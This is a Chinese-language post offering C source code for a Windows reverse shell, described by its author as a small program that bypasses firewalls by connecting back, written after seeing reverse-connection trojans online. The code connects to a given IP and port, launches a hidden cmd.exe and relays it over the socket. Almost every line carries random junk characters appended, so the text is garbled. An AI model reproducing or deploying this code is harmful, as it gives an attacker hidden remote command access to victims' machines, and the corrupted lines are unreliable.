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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #l`\'0`.  
~K5A$ s2  
/* ============================== QrFKjmD<  
Rebound port in Windows NT Y^DGnx("m  
By wind,2006/7 3.P7GbN  
===============================*/ b LGC  
#include 1he5Zevm}  
#include $!$If( 7  
o7Z 8O,;  
#pragma comment(lib,"wsock32.lib") 2yFT` 5+H4  
\1#]qs -  
void OutputShell(); W2v'2qAs  
SOCKET sClient; xCWS  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4i&Rd1#0dI  
8mLW^R:`  
void main(int argc,char **argv) $0OOH4  
{ &PApO{#Q  
WSADATA stWsaData; S[hyN7sI  
int nRet; +e.w]\}  
SOCKADDR_IN stSaiClient,stSaiServer; 8QL=%Pv  
q$b 4S4Z7  
if(argc != 3) FG!hb?_1  
{ z`$c4p6G6  
printf("Useage:\n\rRebound DestIP DestPort\n"); #*w)rGkU2  
return; Ahbh,U  
} WI*CuJU<zJ  
8lDb<i  
WSAStartup(MAKEWORD(2,2),&stWsaData); V?0IMc  
bYpeI(zK  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5}_=q;sZ  
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stSaiClient.sin_family = AF_INET; PJ?C[+&  
stSaiClient.sin_port = htons(0); (C uM*-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); XHdhSFpm  
Ahba1\,N$  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Bxw(pACf  
{ Dm}M8`|X  
printf("Bind Socket Failed!\n"); zkqn>  
return; F#) bGi  
} ~#P]NWW%.  
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stSaiServer.sin_family = AF_INET; ^A=tk!C  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^Z\"d#A  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]jiVe_ OS<  
Zo^]y'  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]a uqf  
{   !\BM  
printf("Connect Error!"); v.4G>00^  
return; M=&,+#z<V  
} /J!:_Nq  
OutputShell(); KZ#\ >  
} QS\wtTXj  
 \G)F*  
void OutputShell() 9iM%kY#)W  
{ `$6~QLUf  
char szBuff[1024]; o[WDPIG  
SECURITY_ATTRIBUTES stSecurityAttributes; Z zp"CK 5  
OSVERSIONINFO stOsversionInfo; "lt5gu!`u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :/Es%z D  
STARTUPINFO stStartupInfo; >mR8@kob<  
char *szShell; 34N~<-9AY  
PROCESS_INFORMATION stProcessInformation; T2.[iD!A  
unsigned long lBytesRead; ITn PF{N  
3Z me?o*bY  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~LOE^6C+~o  
IFS_DW  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); R?9x!@BV  
stSecurityAttributes.lpSecurityDescriptor = 0; dT?3Q;>B?  
stSecurityAttributes.bInheritHandle = TRUE; z5~W >r  
f.66N9BHL,  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N]| >\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); cL03V?} ~  
>nih:5J,ja  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9^8OIv?m8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )i[Vq|n  
stStartupInfo.wShowWindow = SW_HIDE; mK"s*tD  
stStartupInfo.hStdInput = hReadPipe; to,\n"$~!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Fzt?M  
Xxd]j]  
GetVersionEx(&stOsversionInfo); 3/ }  
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switch(stOsversionInfo.dwPlatformId) XG C\6?L~  
{ vDi Opd  
case 1: q-_!&kDK"  
szShell = "command.com"; ^->S7[N?  
break; nu-&vX  
default: :E~rve'  
szShell = "cmd.exe"; #RU8 yT  
break; ybJwFZ80  
} NT5'U  
t:vBVDkD  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Sx e6&  
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send(sClient,szMsg,77,0); !d!u{1Y&  
while(1) pPo xx"y  
{ cgQ6b.  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); YC56] Zp  
if(lBytesRead) 4G&dBH  
{ iT,7jd?6#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $YcB=l  
send(sClient,szBuff,lBytesRead,0); w( XZSE  
} SUUN_w~  
else 4sn\UuKyL  
{ ?7LvJ8  
lBytesRead=recv(sClient,szBuff,1024,0); x(eX.>o\  
if(lBytesRead<=0) break; ^IIy>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e3:L]4t  
} o,* D8[  
} u Z-ZZE C  
09G47YkSy1  
return; kV5)3%?  
}
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